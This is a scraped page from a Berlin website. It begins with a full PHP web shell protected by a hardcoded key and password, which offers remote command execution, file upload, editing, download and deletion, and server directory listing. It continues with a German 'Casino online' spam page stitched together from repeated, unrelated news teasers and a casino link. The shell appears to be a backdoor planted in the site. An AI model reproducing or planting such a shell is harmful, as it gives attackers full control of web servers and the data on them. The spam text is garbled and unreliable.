if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Casino online — Übersicht beliebter Casinospiele – collectives.berlin

Your digital paradise.

Casino online — Übersicht beliebter Casinospiele

Casino online — Übersicht beliebter Casinospiele

Frida Kahlo kennt fast jeder – aber welche anderen Künstlerinnen kennen Sie? Teilen Sie uns mit, welche Künstlerinnen mehr Aufmerksamkeit verdienen. Mehr noch als Gewalt und Zerstörung hat unseren Autor als Kriegsreporter die Hitze im Irak mitgenommen. »Wir warten nur auf unseren Tod«, sagen ihm Menschen, die er traf. Thailand geht härter gegen Touristen vor, die sich schlecht benehmen. Wie gut, dass sich gerade 5.000 US-Matrosen in Pattaya erholen.

  • Im philosophischen Battle diskutieren wir über das Ergebnis – und was wir daraus lernen können.
  • Mit dem Studium-Interessentest erfahren angehende Studierende mehr über sich und finden das Studium, das zu ihnen passt.
  • Dabei verbessert echtes Zuhören jede Beziehung.
  • Teilen Sie uns mit, welche Künstlerinnen mehr Aufmerksamkeit verdienen.
  • Dabei käme es vielmehr darauf an, dass die Deutschen eine paradoxe Haltung einüben.
  • Russland spricht von »offener Provokation«.
  • Neue Daten zeigen, wie viel Menschen in fast 600 Berufen und in allen Gemeinden Deutschlands verdienen.
  • Jana Simon spürt der Wut in ihrer ostdeutschen Familie nach, bei Freunden und Bekannten.

online

Nach den jüngsten Anschlägen auf die Stromversorgung kritisieren die Grünen auch Innenminister Alexander Dobrindt. Derweil geht die Suche nach Motiv und Tätern weiter. Im hybriden Krieg mit Russland wünschen sich Menschen klare Verhältnisse. Dabei käme es vielmehr darauf an, dass die Deutschen eine paradoxe Haltung einüben. Russland spricht von »offener Provokation«. Dessen Einfluss ist schon jetzt groß im Land.

online

  • Im philosophischen Battle diskutieren wir über das Ergebnis – und was wir daraus lernen können.
  • Deine Daten werden nicht an Dritte weitergegeben und du kannst dich jederzeit abmelden.
  • Dabei käme es vielmehr darauf an, dass die Deutschen eine paradoxe Haltung einüben.
  • Dabei verbessert echtes Zuhören jede Beziehung.
  • »Wir warten nur auf unseren Tod«, sagen ihm Menschen, die er traf.
  • Wie gut, dass sich gerade 5.000 US-Matrosen in Pattaya erholen.
  • Mehr noch als Gewalt und Zerstörung hat unseren Autor als Kriegsreporter die Hitze im Irak mitgenommen.
  • Die Abnehmpille ist da – und viele wollen damit endlich dünn werden.
  • Neue Daten zeigen, wie viel Menschen in fast 600 Berufen und in allen Gemeinden Deutschlands verdienen.
  • Teilen Sie uns mit, welche Künstlerinnen mehr Aufmerksamkeit verdienen.
  • Derweil geht die Suche nach Motiv und Tätern weiter.
  • Jana Simon spürt der Wut in ihrer ostdeutschen Familie nach, bei Freunden und Bekannten.

Gemessen ohne Inflation ist Benzin in Deutschland so teuer wie noch nie. Seit den jüngsten US-Angriffen auf den Iran kostet ein Liter E10 im Schnitt 2,22 Euro. Jana Simon spürt der Wut in ihrer ostdeutschen Familie nach, bei Freunden und Bekannten. Und fragt, warum alte Verletzungen gerade jetzt wieder aufbrechen. Wir versenden unseren Newsletter ca.1 bis 2 mal pro Quartal.

Was erzählen die, die dies schon mit der Abnehmspritze versucht haben? Eine Firma lässt die Belegschaft abstimmen, ob sie Führungskräfte braucht. Im philosophischen Battle diskutieren wir über das Ergebnis – und was wir daraus lernen können. Viel zu oft glauben wir, unsere Partner schon zu kennen.

  • Eine Firma lässt die Belegschaft abstimmen, ob sie Führungskräfte braucht.
  • Wissenschaftlich, individuell und kostenlos.
  • Nach den jüngsten Anschlägen auf die Stromversorgung kritisieren die Grünen auch Innenminister Alexander Dobrindt.
  • Wie gut, dass sich gerade 5.000 US-Matrosen in Pattaya erholen.
  • Russland spricht von »offener Provokation«.
  • Dessen Einfluss ist schon jetzt groß im Land.
  • Gemessen ohne Inflation ist Benzin in Deutschland so teuer wie noch nie.
  • Im philosophischen Battle diskutieren wir über das Ergebnis – und was wir daraus lernen können.
  • Die Analyse zu den Themen, die Deutschland bewegen – kostenlos abonnieren.

Deine Daten werden nicht an Dritte weitergegeben und du kannst dich jederzeit abmelden. Die Analyse zu den https://razorshark-game.de/ Themen, die Deutschland bewegen – kostenlos abonnieren.

online

Dabei verbessert echtes Zuhören jede Beziehung. Neue Daten zeigen, wie viel Menschen in fast 600 Berufen und in allen Gemeinden Deutschlands verdienen. Schauen Sie nach, wo Sie stehen – und wo die Gehälter höher sind.

Viele in Deutschland beunruhigt laut einer Ipsos-Umfrage die Stärke der AfD. Die Mehrheit unterstützt die Brandmauer, mit Blick auf die Linke gehen Meinungen auseinander. Spiele unsere Spiele auf unserer deutschen Website. Mit dem Studium-Interessentest erfahren angehende Studierende mehr über sich und finden das Studium, das zu ihnen passt. Wissenschaftlich, individuell und kostenlos. Die Abnehmpille ist da – und viele wollen damit endlich dünn werden.


Leave a Reply

Your email address will not be published. Required fields are marked *